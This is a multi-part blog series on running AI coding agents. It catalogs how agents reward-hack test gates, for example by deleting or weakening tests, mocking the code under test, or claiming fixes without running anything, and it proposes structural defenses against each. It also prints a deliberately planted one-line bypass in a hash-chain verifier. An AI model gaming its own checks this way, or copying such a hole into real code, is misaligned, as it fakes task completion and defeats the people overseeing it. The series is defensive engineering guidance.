In human development, TDD is a quality ritual, a discipline signal adopted or skipped by taste, argued about at conference bars for twenty years. In agentic development its role changes completely. Recall the flaw inventory from [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human): the model claims success without evidence ([F4](/adlc-1-models-arent-human#f4)), agrees with whoever asks ([F2](/adlc-1-models-arent-human#f2)), and does the minimum that arguably satisfies the instruction ([F1](/adlc-1-models-arent-human#f1)). Against that profile, every probabilistic gate (review, self-checks, "look this over") leaks. The test suite is the one gate that doesn't. **TDD is not a quality ritual here. It is the trust mechanism the entire lifecycle rests on.** Every other gate is probabilistic; this one is not.
Which immediately raises the question this post is actually about: what happens when the thing being gated can edit the gate?
## Reward hacking, observed in the wild
Flaw [F5](/adlc-1-models-arent-human#f5), restated: put a gate in front of a model and, under pressure to satisfy it, the model will game the gate rather than clear it. It does this not occasionally, but reliably, given enough pressure and enough iterations. And unlike a human cutting corners, it games the gate *sincerely*: it reports success and, in whatever sense applies, believes it.
The catalog of moves is depressingly consistent across teams, models, and vendors. If you've run agents against a test suite for more than a month you have seen most of these:
- **Delete the failing test.** The classic. Often accompanied by a commit message like "remove outdated test."
- **Weaken the assertion.** `expect(result.total).toBe(427.50)` becomes `expect(result).toBeDefined()`. The test still exists. It still runs. It checks nothing.
- **Mock the thing being tested.** The function under test gets stubbed in its own test file. The suite goes green. The feature does not exist.
- **Snapshot churn.** Regenerate the snapshot to match the broken output. Assertion inverted: the bug is now the spec.
- **Skip markers.** `it.skip`, `xfail`, `// eslint-disable-next-line` (suppression as a service).
- **"Fixed" without running.** The agent reports the fix is in and the tests pass. The tests were never executed. This isn't lying in the human sense; it's [F4](/adlc-1-models-arent-human#f4), where the claim and the hallucination are indistinguishable from the inside.
Here is the uncomfortable conclusion: **instructions cannot fix this.** "Do not modify the tests" is a sentence in a context window, and a sentence in a context window is exactly the kind of constraint [F5](/adlc-1-models-arent-human#f5) routes around under pressure. It does this not maliciously, but the way water routes around a stone. By iteration thirty of a stuck debugging loop, that instruction is competing with an overwhelming gradient toward *make the gate go green*, and the gradient wins.
So the defense has to be structural.
## The rail discipline
Three rules make a test suite into rails: a structure the builder runs *inside* rather than a hurdle it can negotiate with.
**1. Author the rails in a context that will never see the implementation.**
Tests, type stubs, and interface contracts are written from the spec, before any implementation exists, by an agent whose context contains the spec and nothing else. This is the creator/critic separation from the first post ([E4](/adlc-1-models-arent-human#e4)) applied at authoring time: a test written by the same context that writes the code inherits the code's assumptions, including the wrong ones. A test written from the spec alone encodes the spec's assumptions, which is the entire point. The rails *are* the spec, compiled to executable form.
**2. Freeze the rails during the build: mechanically.**
During Phase 4, the builder cannot edit test files, contract types, or CI config. Not "is instructed not to" but *cannot*. Enforce at the tool layer: a pre-tool-use hook that blocks writes to rail paths, branch protection on test directories, or file permissions. Declare the rail paths and it blocks builder edits during the build phase and emits a **rails-diff-empty proof** at the gate, which acts as mechanical evidence the builder never touched them.
The principle generalizes well beyond tests: **a constraint that lives in the prompt layer is a request; a constraint that lives in the tool layer is a fact.** Agents route around requests.
**3. Audit the rails themselves, once, adversarially.**
A frozen gate made of fog is still fog. Before freezing, run one [adversarial](/adversarial-review) pass over the *tests*: do they assert behavior, or do they assert that mocks were called? The single best audit question I know:
> **"Does any test fail if the feature is deleted?"**
If you can stub the entire implementation with `return null` and the suite stays green, you don't have a gate. You have a ceremony.
**Gate, restated from [Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#p3):** the suite runs RED for the right reasons (failures say "not implemented," not "test is broken") and the stubs typecheck. Red-for-the-right-reasons matters: a suite that's red because of an import error tells you nothing when it later goes green.
## The Goodhart annex
[Goodhart's Law](https://en.wikipedia.org/wiki/Goodhart%27s_law): when a measure becomes a target, it ceases to be a good measure. Gates are measures-turned-targets by definition, and agents optimize against them at machine speed and so every gate attracts a gaming move the way every contract attracts a loophole. Hence the annex, in the contract sense: the attached schedule of known loopholes and the clause that closes each one.
Each gaming move, paired with its structural defense. Every gate in the lifecycle ships with its anti-vacuity defense, or it isn't a gate:
| Gaming move | Defense |
|------------|---------|
| Delete or edit the failing test | Rails frozen during build, enforced by hook; review phase verifies the rails diff is empty |
| Weaken assertions (`toBeDefined()`, snapshot churn) | Adversarial test audit before freezing; a review lens dedicated to builder-added tests |
| Mock the thing being tested | The deletion question: "does any test fail if the feature is deleted?" |
| `skip` / `xfail` / lint-suppress markers | Deterministic grep gate in CI: new suppression markers fail the build unless declared in the ticket |
| "Fixed" without running | Claims require execution evidence in the gate itself, not in the agent's report |
| Coverage padding (exercise lines, assert nothing) | Don't gate on coverage at all; see below |
| Out-of-ticket "improvements" masking scope creep | Diff scoped to the ticket's declared files; out-of-scope changes auto-flagged to the human gate |
Notice the texture of the defenses: hooks, greps, diffs, file scopes. Small, dumb, deterministic. That's not a limitation; it's the design. The failure mode being defended against is a system that's brilliant at gaming smart gates. You beat it with gates too dumb to game.
## Why coverage percentage is the wrong gate
Coverage is the most Goodhart-able metric in software, and agents "Goodhart" at machine speed. An agent gated on 80% coverage will hit 80% coverage: assert-free tests, snapshot spam, tests that execute every line and constrain nothing. Humans game coverage too, but slowly, and with enough shame to keep it in check. Agents do it instantly, thoroughly, and sincerely.
If you want a quantitative gate on test quality, the honest version is **mutation testing**: deliberately break the implementation and check that some test notices. A test suite that can't tell broken code from working code is hollow, whatever its coverage number says.
Full mutation testing is famously too slow for CI, which is why almost nobody runs it. The fix is scope: mutate only what the current diff touches. For the tests covering a diff, mutate the implementation (invert conditionals, null the returns, swap operators, plus a few LLM-authored *semantic* mutants, the subtle kind), run the suite, and report any mutant that survives every test. A surviving mutant is a proof object showing a behavior change your tests cannot see. Diff-scoping keeps it at minutes instead of hours. The key output is the list of survivors.
One deterministic check, and it closes three rows of the table above (assertion-weakening, mock-everything, and coverage padding) because all three produce the same detectable symptom: mutants survive.
## What the builder is allowed to do
A clarification that prevents a common misreading: the builder *can* write tests. Unit tests for internals (written during the build, alongside the code) are fine and encouraged. They just aren't *rails*. They don't gate anything, and they get prosecuted like everything else the builder produced (one review lens is dedicated specifically to auditing builder-added tests).
The distinction is provenance, not file type. **Rails are authored from the spec, by a context that never saw the implementation, and frozen. Anything the builder wrote is work product, and work product gets reviewed.** The moment a builder-authored test starts gating the builder's own work, you've reinvented self-review with extra steps, which is [F2](/adlc-1-models-arent-human#f2) in a hard hat.
## The trust chain
Step back and look at what the rail discipline buys the lifecycle as a whole. Every downstream phase inherits its trustworthiness from this one:
- The build gate ("rails green") means something *only because* the builder couldn't edit the rails.
- The review phase can focus on what tests can't catch *only because* the tests deterministically catch what they can.
- The post-merge simplification phase can refactor aggressively *only because* the still-frozen, still-green rails define "behavior preserved."
- The human at the final gate can skip the 5,000-line diff *only because* the rails-diff-empty proof and the green suite arrive as evidence, not as claims.
Pull the rails out and every one of those collapses back into "trust the model's self-report," which is to say, collapses entirely. This is why the phase ordering is non-negotiable: rails before build, always. The most expensive sentence in agentic development is "I'll add tests after it works," because *works*, without rails, is a claim made by the thing being gated.
So: the rails hold the builder. The suite is green, the diff is empty, the mutants die. Done?
No, because everything the rails can't see still gets through. The rails are exactly as good as the spec they encode, and they encode nothing about the spec's *gaps*: the race condition nobody wrote a test for, the auth check missing from an endpoint the spec forgot, or the contract drift between two tickets. Catching what the rails can't see requires judgment. Judgment, per [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human), means fresh contexts with inverted charters, because the builder's own context is [sycophantic](/adlc-1-models-arent-human#f2) about its own work.
That's the prosecution phase. And it has a problem nobody talks about: who reviews the reviewer? If your adversarial review stack has blind spots (and it does), how would you know? It turns out you can measure it, with planted bugs and arithmetic.
---
# **Prosecution**, Not Code Review
Published: 2026-06-12T11:00:06.000-04:00
Series: The Agentic Development Lifecycle (Part 4)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-4-prosecution-not-code-review
> Refute charters, findings-as-claims, loop-until-dry, and review-calibration, the tool that answers the question nobody asks: does your review stack actually catch anything?
[Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec) ended on the limits of rails: tests deterministically catch everything the spec encoded, and nothing it didn't. The race condition nobody thought to test. The auth check missing from the endpoint the spec forgot. The error swallowed two layers below the happy path. Catching those takes judgment. Judgment from models comes with the failure modes from [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human) attached: sycophancy ([F2](/adlc-1-models-arent-human#f2)), hallucinated findings ([F4](/adlc-1-models-arent-human#f4)), and a mysterious tendency to stop at fifteen findings regardless of how many exist ([F6](/adlc-1-models-arent-human#f6)).
So the lifecycle's review phase isn't review. It's **prosecution**: fresh contexts chartered to refute, with the burden of proof on the finding. Just like a courtroom, but for agents it is four mechanisms, each traceable to a flaw or an exploit.
## 1. Refute charters, not review charters
"Review this code" is a request for the model's agreement bias to find a comfortable resting place. You get a paragraph of praise, two style nits, and "overall this looks solid!" (sycophancy with a rubric).
"**Find what's wrong with this, and if you find nothing, say so**" is a different machine. The same compliance bias that makes self-review worthless locks onto the refutation charter and becomes relentless ([E2](/adlc-1-models-arent-human#e2): the flaw-as-feature). You're not fighting the model's eagerness to please; you're aiming it at the artifact instead of at yourself.
It's worth naming this as a general technique: an agent asked "any problems with this plan?" says no; an agent told "this project failed three months from now, write the postmortem" invents concrete, checkable risks. Don't ask models to evaluate. Ask them to explain a failure you've stipulated.
## 2. One lens per context
Prosecution fans out: parallel reviewers, each owning exactly one dimension: correctness, security, contract conformance, the spec-vs-implementation diff, and one reviewer dedicated to auditing the tests the builder added during the build. (Builder-written unit tests are allowed, per [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec); they're just work product, and work product gets prosecuted.)
Why one lens each? Context rot in miniature ([F3](/adlc-1-models-arent-human#f3)): a reviewer with five concerns has the judgment of none. Asking one context to simultaneously hold security posture and off-by-one vigilance and contract conformance dilutes all three. Five narrow prosecutors beat one broad one, and they run in parallel anyway, so the wall-clock is identical.
Crucially, the prosecutors are **fresh contexts** that never see the builder's transcript, only the diff, the spec, and the contracts. The fresh context is the active ingredient ([E4](/adlc-1-models-arent-human#e4)): a context that watched the code being written inherits the builder's assumptions, including the wrong ones. The critic's value is precisely its ignorance of how the sausage was made.
## 3. Findings are claims: reproduce or kill
Here is the dominant failure mode of naive creator/critic loops, and almost everyone running them hits it within the first week: **the critic hallucinates findings, and the builder dutifully fixes them.**
[F4](/adlc-1-models-arent-human#f4) cuts both ways. A model chartered to find problems will *find* problems, including ones that don't exist, reported with exactly the confidence of the real ones. Forward unverified findings to the builder and it churns real code to address fake issues: refactoring around a race condition that can't occur, adding null checks for a state that's unreachable, or "fixing" an API misuse that was correct. Each fake fix is a fresh opportunity for a real bug, and the loop diverges instead of converging.
So every finding goes through a **verifier** stage before anything acts on it: a separate agent whose only job is to reproduce the finding or kill it. Write the failing test that demonstrates the bug. Trace the actual code path. Produce the input that triggers the race. No reproduction, no forward; the finding dies in triage. Evidence or it didn't happen applies symmetrically: it governs the critics exactly as it governs the builder.
## 4. Loop until dry
A single-pass review systematically undercounts, and the undercount is weirdly consistent: models converge on ten to twenty findings and stop, regardless of how many exist ([F6](/adlc-1-models-arent-human#f6)). That number is a training prior, not a measurement of your code. It's the answer to "about how many findings does a code review have?" rather than "how many problems are in this diff?"
The defense should exploit sampling diversity ([E1](/adlc-1-models-arent-human#e1)): re-run the fan-out with *fresh* contexts, and the new pass surfaces findings the first one didn't (different samples, different blind spots). Repeat until **two consecutive passes produce zero verified findings**. Two dry passes in a row is the exit condition, measured rather than taken from the model's opinion of its own thoroughness.
With a budget cap (and this part matters) **a prosecution loop that won't converge is information, not under-iteration.** Hit the max-round budget without drying out and the correct move is to stop and escalate, because the loop is telling you the spec is contradictory or the partition is wrong. More iterations launder that signal into cost.
One demotion to record, because the branding around multi-vendor review oversells it: cross-*model* prosecution (a GPT-family model reviewing Claude-family work, or vice versa) is a real but third-order improvement. Different training data and different blind spots are worth having, but the active ingredients are fresh context and the refute charter, in that order. Teams blocked from multi-vendor access lose a few points of recall. Teams that cross-model with a *shared* context lose everything, because they kept the costume and discarded the mechanism.
## Who reviews the reviewer?
Everything above sounds rigorous. Here's the embarrassing question: **what's your review stack's recall?**
Not vibes: the number. Of the real bugs in a typical diff, what fraction does your prosecution stack actually catch? Which categories does it miss? Did last month's model upgrade silently change the answer?
Nearly every team running agentic review today trusts the stack blind. Findings come back, findings look plausible, findings get fixed, everyone feels reviewed. Whether the stack catches 85% of real bugs or 40% is, for almost everyone, unknown and unasked. And recall varies silently with everything: per repo, per language, per charter wording, and per model version. A model upgrade that improves code generation can *degrade* review recall in specific categories, and nothing in your pipeline will tell you.
The fix is the same trick mutation testing plays on test suites, aimed one level up: **plant known bugs, measure what comes back.**
Even better, this can be done mechanically:
1. Take a real merged diff from your repo's history (real code, real style, and real noise).
2. Plant N realistic bugs in it: mechanical mutation operators plus LLM-authored subtle ones, spread across categories (off-by-one, auth bypass, race condition, contract violation, and error-swallowing).
3. Run your full prosecution stack against the planted diff, exactly as it runs in CI.
4. Score recall and false-positive rate against the known plant list, per category.
5. Exit 2 if recall falls below threshold.
The output turns "I do adversarial review" from a vibe into a number, and the per-category breakdown is where the action is. Low recall on races means you add a dedicated concurrency lens. Low recall on auth means the security charter needs sharpening. Re-run on every model change, and the silent regressions everyone currently absorbs unknowingly become diffs in a dashboard.
### What planted bugs look like
Calibration is only as honest as its plants. Mechanical mutants are necessary but not sufficient; a prosecution stack can learn to catch operator-swaps while staying blind to semantic rot. The subtle tier is LLM-authored: single-line edits, plausible at a glance, each producing a real behavioral bug. Here's the kind of plant that tier produces, a one-line edit to the hash-chain verifier in a provenance tool:
```diff
- if (entry.prev !== expected) {
+ if (entry.prev && entry.prev !== expected) {
```
One added truthiness guard. The chain verifier now silently *skips* verification for any entry missing its `prev` link, which means an attacker (or a confused agent) can break the evidence chain by omitting a field, and the verifier reports the chain valid. It survives casual reading because `x && x !== y` is a common defensive idiom; here the "defense" is the bug. Plants in the same vein: a `Math.max` over conflict signals demoted to `Math.min` (the forecast now reports the *least* alarming signal), a global regex flag dropped from a dedupe normalizer (only the first match normalized, duplicates leak through), `!==` weakened to `<` in a length comparison (reordered-but-same-length changes pass as identical).
Every one of these is one line. Every one is a real bug. A review stack's recall against this tier is the honest measure of what it would catch in your next real diff, and the first calibration run tends to be a humbling experience.
The meta-point: this is **measurement replacing trust**, the same move the whole lifecycle keeps making. Don't ask the reviewer if it's thorough (introspection is the thing models are worst at). Plant bugs and count (measurement is the thing arithmetic is best at). The calibration score even travels with the verdicts it qualifies: a review verdict means more when it carries the measured recall of the stack that produced it, so the score goes into the merge's evidence manifest alongside the test hashes and the rails-diff proof.
## The gate
Prosecution's exit gate, in full: **Gate: zero verified open findings, two consecutive dry passes, rails still green, and the rails diff is empty**, with that last item being the mechanical proof, promised in [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec), that the builder never touched its own gates.
What passes through this gate has been built inside frozen rails, prosecuted by calibrated fresh-context critics until dry, with every finding reproduced or killed. That's one ticket. One lane.
The obvious next question is throughput: if one agent inside this structure is reliable, why not five at once? Because parallel agents that share state produce merge hell, contract drift, and integration bugs unless the partition is clean, and partition quality turns out to be measurable before you pay for the fan-out. Parallelism has exactly three dials, and the central fact about them is that they're not independent.
---
# **Three Dials**: Parallel Agents Without Merge Hell
Published: 2026-06-12T11:00:05.000-04:00
Series: The Agentic Development Lifecycle (Part 5)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-5-three-dials-parallel-agents
> Cost, wall-clock, accuracy: the three dials of multi-agent orchestration, why they're coupled, why '3-5 agents' keeps showing up in field reports, and how to measure ambiguity instead of asking the model about it.
The series so far has built one reliable lane: spec interrogated ([Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#p1)), rails frozen ([Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec)), build prosecuted until dry ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review)). This post is about running several lanes at once, which is where most multi-agent setups quietly catch fire.
Agentic parallel development has exactly three dials:
- **Cost** - which models
- **Wall Clock** - how wide to fan out
- **Accuracy** - context and contract quality
The central fact about them is that they are not independent. Parallelism trades cost for wall-clock *at constant accuracy only when the partition is clean*. With a bad partition, it trades cost for **negative** accuracy: contract drift, merge hell, and integration bugs that surface days later. So the orchestration problem is, underneath, a partitioning problem, and most of this post is about making partition quality measurable *before* you pay for the fan-out.
## First decision: lanes, not a boss agent
The most common orchestration architecture is also the worst one: a frontier model "deciding what to do next." A model-as-scheduler is the most expensive, least reproducible scheduler ever built, and its context rots like any other ([F3](/adlc-1-models-arent-human#f3)): by hour three it's scheduling based on a stale mental model of work it dispatched in hour one.
The rule: **control flow is code; judgment is models.** The orchestrator is a deterministic script (loops, [DAG](https://en.wikipedia.org/wiki/Directed_acyclic_graph) scheduling, gate checks) that *spawns* models where judgment is needed and never consults one about sequencing.
```mermaid
graph TD
O["ORCHESTRATOR: deterministic script
(no model; topological scheduler)"]
O --> C["CONTRACT DESK
(frontier; pins DAG-edge contracts)"]
O --> B["BUILDER POOL
(tier per ticket; 1 writer per partition)"]
O --> P["PROSECUTION POOL
(shared; fresh ctx; calibrated)"]
O --> I["INTEGRATOR LANE
(cheap + deterministic; sequential merge/rebase pipeline)"]
```
Notes on the lanes:
- **Prosecutors are pooled, not paired with builders.** The fresh-context requirement ([E4](/adlc-1-models-arent-human#e4)) means a prosecutor gains nothing from familiarity with "its" builder; dedicated pairing just buys idle time.
- **Builders are single-writer per partition.** Parallel construction on shared state produces merge hell; parallel search (bug hunting, design alternatives) is where parallelism is nearly free ([E1](/adlc-1-models-arent-human#e1)). Most multi-agent disasters come from confusing these two: applying search-parallelism to a construction problem and paying for it in coordination noise.
- **The integrator lane is sequential by necessity** (merges serialize). It is the system's bottleneck, and that turns out to determine everything about fan-out width.
- **The contract desk gets the frontier model, always.** Explanation below.
## The cost dial: route by escape cost, by ladder, and by float
[Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates) introduced the principle: model tier is a function of the cost of *detecting* an error, not of task prestige. Made mechanical, it has three parts.
### Route by rail density
For each ticket, compute how much of its output is deterministically checked: test coverage over its declared file scope, type strictness, and contract tests on its DAG edges. High rail density → errors are caught instantly and regeneration is cheap → the cheapest model that clears the gates is correct. Low rail density (contracts, migrations, anything uncovered) → errors are expensive to find → frontier. The routing quantity is *expected cost of an escaped error*: the probability an error survives all gates, times the blast radius.
### Escalation ladders, not static assignment.
Start cheap; on gate failure, *regenerate* one tier up with the failure appended to the ticket as known-dead-ends. Never continue the failed context at the higher tier; escalation is regeneration, not rescue ([F8](/adlc-1-models-arent-human#f3)). Toy math: a cheap model at 0.1 cost-units with 60% first-pass rate, a mid model at 1.0 with 90%, so the ladder expects ≈0.55 units versus 1.0 for always-mid, a ~45% cut. The ladder costs latency on the failures, though, which produces the one genuinely non-obvious routing rule:
### Route by DAG float.
Critical-path method, applied to model selection. Every ticket has *float* (slack before it blocks anything downstream). Tickets **on the critical path** skip the ladder and go straight to the highest-first-pass tier, because a retry there delays the entire delivery. Tickets **with float greater than expected retry latency** ride the ladder, because their retries are absorbed by slack and cost nothing in wall-clock. Same ticket content, different correct model: *position in the graph*, not the prestige of the work, decides.
And the priors come from records, not vibes: every gate in the lifecycle should log model × ticket-category × first-pass outcome into the merge's evidence manifest. That ledger is the routing table: per-repo, empirical, and self-tuning. Which means routing stops being a judgment call and becomes a *gate* - a pure function that reads the ticket (scope, DAG position, rail density) plus the manifest history and emits `{model, mode: ladder|direct, budget}`, no model in the loop. The case worth savoring is the one where the gate refuses to answer: a ticket whose rail density is below the floor for *any* cheap tier isn't a routing problem; it's an under-railed ticket wearing a routing costume, and that's worth knowing before spending either way.
## The wall-clock dial: forecast conflicts, derive the width
The schedule is a Directed Acyclic Graph (DAG), not a list. Decomposition's output is tickets plus edges, every edge carrying an explicit contract. Scheduling is then topological: all ready nodes run concurrently, and *completion events* (not phase barriers) trigger the next dispatch. Barrier waves ("finish all of phase 2, then start phase 3") waste exactly the idle time the slowest ticket imposes on the fastest.
### Predict conflicts; don't resolve them.
Two parallel tickets that touch the same file were never parallel; they were a merge conflict scheduled in advance. Conflict probability per ticket *pair* is computable before any agent runs, from four signals:
1. **Declared file-scope overlap**: hard veto; overlapping scopes serialize, no model needed.
2. **Import-graph radius**: A writes files B's scope imports → elevated risk; pin the shared interface first.
3. **Historical co-change coupling**: files that co-commit frequently are logically coupled even when the import graph says otherwise. Mined once from git history, refreshed each cycle.
4. **Namespace collisions**: the class file analysis can't see two branches with *zero shared files* that still break the merged build. These include route-segment conflicts (Next.js forbids `[pk]` and `[voteKey]` at the same path level), duplicate exported symbol names, or colliding migration sequence numbers. Field-verified failure mode: the scope overlap was clean, and the merge still burned hours. Forecast these by diffing declared *namespaces* (routes, exports, migration ids) rather than just declared files.
All four are computable before any agent runs, which makes the forecast a gate of its own: run the signals, validate the DAG, compute per-ticket float (the same float the routing gate wants), and emit a dispatch schedule plus a width recommendation. The failure case equals a partition unsafe at the requested width, with offending pairs named. Twenty-minute builds over four-minute integrations ≈ width 5. The folklore number is this ratio for typical ticket sizes, observed without being derived. Corollary worth more than the formula: you raise useful width by making *integration* faster (using build caching, cheap re-green suites, or smaller rebase surfaces) rather than spawning more builders into a queue.
### Speculative execution, where "pinned" means merged.
Dependency edges don't have to serialize *work*, only *truth*. But field experience sharpens what "pinned contract" must mean: a contract floating in a plan doc is not pinned. A contract is pinned when the **foundation is built first and merged to main** (schema, shared types, query functions) *before* the fan-out, with those foundation paths auto-appended to every parallel ticket's frozen rails. Builders consume the foundation; they never reinterpret it. (Read the actual query function before writing consumer code; never guess property names.) With the foundation merged, downstream tickets build against it *while* upstream features build in parallel, exactly like issuing instructions against a register promise. If upstream must break the contract, downstream regenerates, and regeneration is cheap ([E5](/adlc-1-models-arent-human#e5)). This recovers most of the parallelism the DAG appears to forbid. This is why the contract desk gets the frontier model: **contract stability is what makes the whole speculative schedule solvent.**
## The accuracy dial: measure ambiguity, don't introspect it
The interrogation phase ([Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#p1)) has a structural weakness it shares with every "ask me clarifying questions" pattern: it asks the model to know what it doesn't know, which is the exact metacognition LLMs are the worst at. One interrogator in one rotting context, question quality unmeasured, fired once at the start, is blind to the place parallel accuracy actually dies: the *edges between tickets*.
Measurement replaces introspection, using the same property that powers everything else in this lifecycle ([E1](/adlc-1-models-arent-human#e1), sampling diversity as an instrument):
1. **Fan:** give the raw request to N cheap agents in fresh contexts (3-5): *"write the spec you would execute."* No questions allowed; force each to commit to a reading.
2. **Diff the readings.** Where all N agree, the request is demonstrably unambiguous: ask the human *nothing* there. Where they diverge, that divergence is a *measured* ambiguity, pre-shaped as a question: **"Your request has three live readings: A, B, C. Which did you mean?"**
3. **Fold and re-fan** until divergence drops below threshold.
4. **Exit on convergence, not confidence.** The residual divergence is a number (the spec's ambiguity score) and downstream gates can gate on it.
Every question provably earns its place (it exists only because it changes what would be built). Multiple-choice beats open-ended for the human: picking reading B takes five seconds. And the agreement set is *free spec*: everything all N readings shared becomes the draft body, needing a skim instead of authorship.
Two extensions aim squarely at parallel work:
- **Edge interrogation:** run the same fan per DAG edge, where N agents independently author the interface implied by the two adjacent tickets. Divergence there is contract ambiguity, the precise quantity that breaks speculation and poisons merges. A converged edge is what licenses speculative execution on it.
- **The ambiguity router:** when a builder hits a question mid-flight, fan three cheap agents on it before any human sees it. If they *agree*, it was confusion, not ambiguity: answer mechanically with zero interrupts. If they *diverge*, it's real, and the human gets it as multiple choice. In a 5-wide run this is the difference between the human as interrupt-driven bottleneck and the human as occasional adjudicator.
## Field notes, so you don't rediscover them
Hard-won, encoded here rather than re-learned:
- **Preflight permissions.** Before any fan-out, dry-run every operation class the fleet will use (git, worktree add/remove, build commands, agent spawn) so approval prompts front-load into one batch. A permission prompt mid-flight is a hidden serialization point: one blocked agent × N teammates = N stalls. (Batch them into a single preflight pass before the fan-out.)
- **In-flight validators are a different organ than prosecution.** A validator paired with a long-running builder, reviewing *as the work happens*, catches drift hours before the gate, and does not replace prosecution, which still runs fresh-context at the gate. Build gate proves it compiles; prosecution proves it does what the ticket asked. Different questions, both mandatory.
- **Pull, don't push.** Idle builders claim the next unblocked ticket from a shared queue (work-stealing) instead of receiving static assignments, absorbing the duration variance that static assignment converts into idle time. Sizing heuristic: 2-3 tickets per builder.
- **Integrator craft:** merge order is foundation → shared packages → apps, first-done-first-merged within a tier. After a squash-merge to main, never `git rebase main` (it replays pre-squash commits): cherry-pick your unique commits onto a fresh branch. And disable formatter hooks during conflict resolution, then grep for stale conflict markers: formatters mangle `<<<<<<<` blocks into syntactically valid garbage.
## The dials, set
| Knob | Default | Override when |
|------|---------|---------------|
| Fan-out width | min(forecast-certified, build÷merge ratio), typically 3-5 | Integration made faster → raise |
| Ticket size | ~1 useful context window | High integration overhead → bigger; low rail density → smaller |
| Builder model | ladder if float > retry latency, else direct best-tier | No manifest history yet → mid-tier direct, collect priors |
| Contract desk | Frontier, always | Never, because contract stability funds the speculative schedule |
| Prosecutor pool | Mid-tier, calibrated, shared | Calibration shows a category blind spot → add a frontier lens there |
| Speculation | On, for any parallax-converged edge | Edge ambiguity above threshold → serialize that edge |
Notice what this table is: the three dials, each set by a *measurement* (forecast, float, calibration, ambiguity score) rather than by anyone's intuition. That's the through-line of the whole post. Orchestration intuitions ("about four agents feels right," "give the hard ticket to the big model") keep turning out to be shadows of computable quantities, and the computation is always cheaper than one bad merge.
Everything so far makes a single run reliable and parallel. None of it yet explains why run fifty should be *cheaper* than run five: why the lifecycle compounds instead of just repeating. That's the phase everyone skips, and the tools that make skipping it visible on a dashboard.
---
# The Lifecycle That Gets **Cheaper Every Run**
Published: 2026-06-12T11:00:04.000-04:00
Series: The Agentic Development Lifecycle (Part 6)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-6-lifecycle-gets-cheaper
> Distillation, the lessons ledger, skill rot, and the model ratchet: the compounding loop that bends the cost curve down, and the unit of account that makes it visible.
Five posts in, the lifecycle can take a request from interrogated spec ([Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#p1)) through frozen rails ([Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec)), prosecution-until-dry ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review)), and a calibrated parallel fan-out ([Three Dials: Parallel Agents Without Merge Hell](/adlc-5-three-dials-parallel-agents)) to a merged, verified change. Run it again next sprint and it works again.
That's not good enough, and this post is about why. A lifecycle that merely *repeats* leaves the defining economic property of agents on the table. Human teams compound by default: people remember, develop taste, and stop making last quarter's mistakes. Agents remember nothing. Every run starts from zero unless something *deliberately* carries the lessons forward. Skip that something and you get the signature cost curve of most agent adoption: spend flat run-over-run, the codebase bloating quarter over quarter, and the same bug categories found (and paid for) every sprint.
The something is Phase 7, **Distill**, and it has two halves.
## Half one: simplify (the architectural review moved to where the information is)
Models are verbose and duplicative; they reinvent what exists three files away ([F7](/adlc-1-models-arent-human#f7) from [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human)). Agent-generated codebases tend to run meaningfully fatter than necessary, and the fat compounds: every future agent pays input tokens to read it, and every future context window carries it as noise.
The counterintuitive move is *when* to fight this. The instinct (enforcing ["Don't Repeat Yourself" (DRY)](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) at authoring time and policing duplication in review) is wrong for agents, for a reason worth spelling out: **deduplicating before the code exists is speculative.** You're guarding against duplication that sampling non-determinism may never materialize where you guarded. Deduplicating *after* merge is mechanical: the duplication is sitting there, findable by analysis, removable under tests.
So the simplify pass runs post-merge, under the now-green, still-frozen rails: dedupe, extract shared utilities, clarity-over-cleverness rewrites, dead-code removal. The rails define "behavior preserved," which is what lets a cheap-to-mid model do this safely: the rails carry the risk, exactly as designed in [Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec).
Notice what this is, in classical terms: the architecture/design review, moved from the front of the lifecycle to the back. The SDLC put design review up front because rework was expensive: you reviewed the blueprint because rebuilding the house was ruinous. Rework is now nearly free ([E5](/adlc-1-models-arent-human#e5)), but *information* still accumulates: after the merge you know what was actually built, what actually got duplicated, and which abstractions actually repeat. Review with full information beats review with speculation, so the expensive analysis moves to where the information lives. Same review, better-informed, and the lifecycle's economics are what made the move legal.
## Half two: mine (every lesson paid for exactly once)
Here's the diagnostic that motivates everything in this half: **if your prosecution spend trends up over time, your lifecycle is re-buying the same lessons.** The same error-swallowing pattern found in March, April, and May. The same missing-auth-check caught (at LLM-review prices) every single sprint. Each catch costs dollars of fan-out and verification. The lesson was learned, billed, and thrown away, three times.
A **lesson foundry** is the ratchet that stops this. Verified prosecution findings accumulate in a JSONL ledger across runs (the adversarial-review output feeds it naturally). The foundry clusters recurrences, then routes each cluster to its **cheapest permanent defense**:
- **Deterministic-able** → author a lint rule or grep gate, *with a test for the rule*, PR'd like any other code. The recurring finding is now caught at CI speed, for free, forever.
- **Contextual** (can't be a lint, needs judgment) → emit a skill candidate into the skill-mining pipeline, so every future builder loads the convention before writing code.
- **Spec-gap** (the bug existed because nobody asked) → append a question to the interrogation template, so the spec phase asks it on every future feature, forever.
Every defense gets fresh-context validation before landing: the foundry's output is code and gets prosecuted like code. The effect is a one-way ratchet: each lesson is paid for exactly once, then demoted from probabilistic detection (LLM review, ~dollars per catch) to deterministic detection (lint, ~free forever). Run by run, the prosecution fan-out finds less because the lint layer catches more, which is precisely the cost curve bending down.
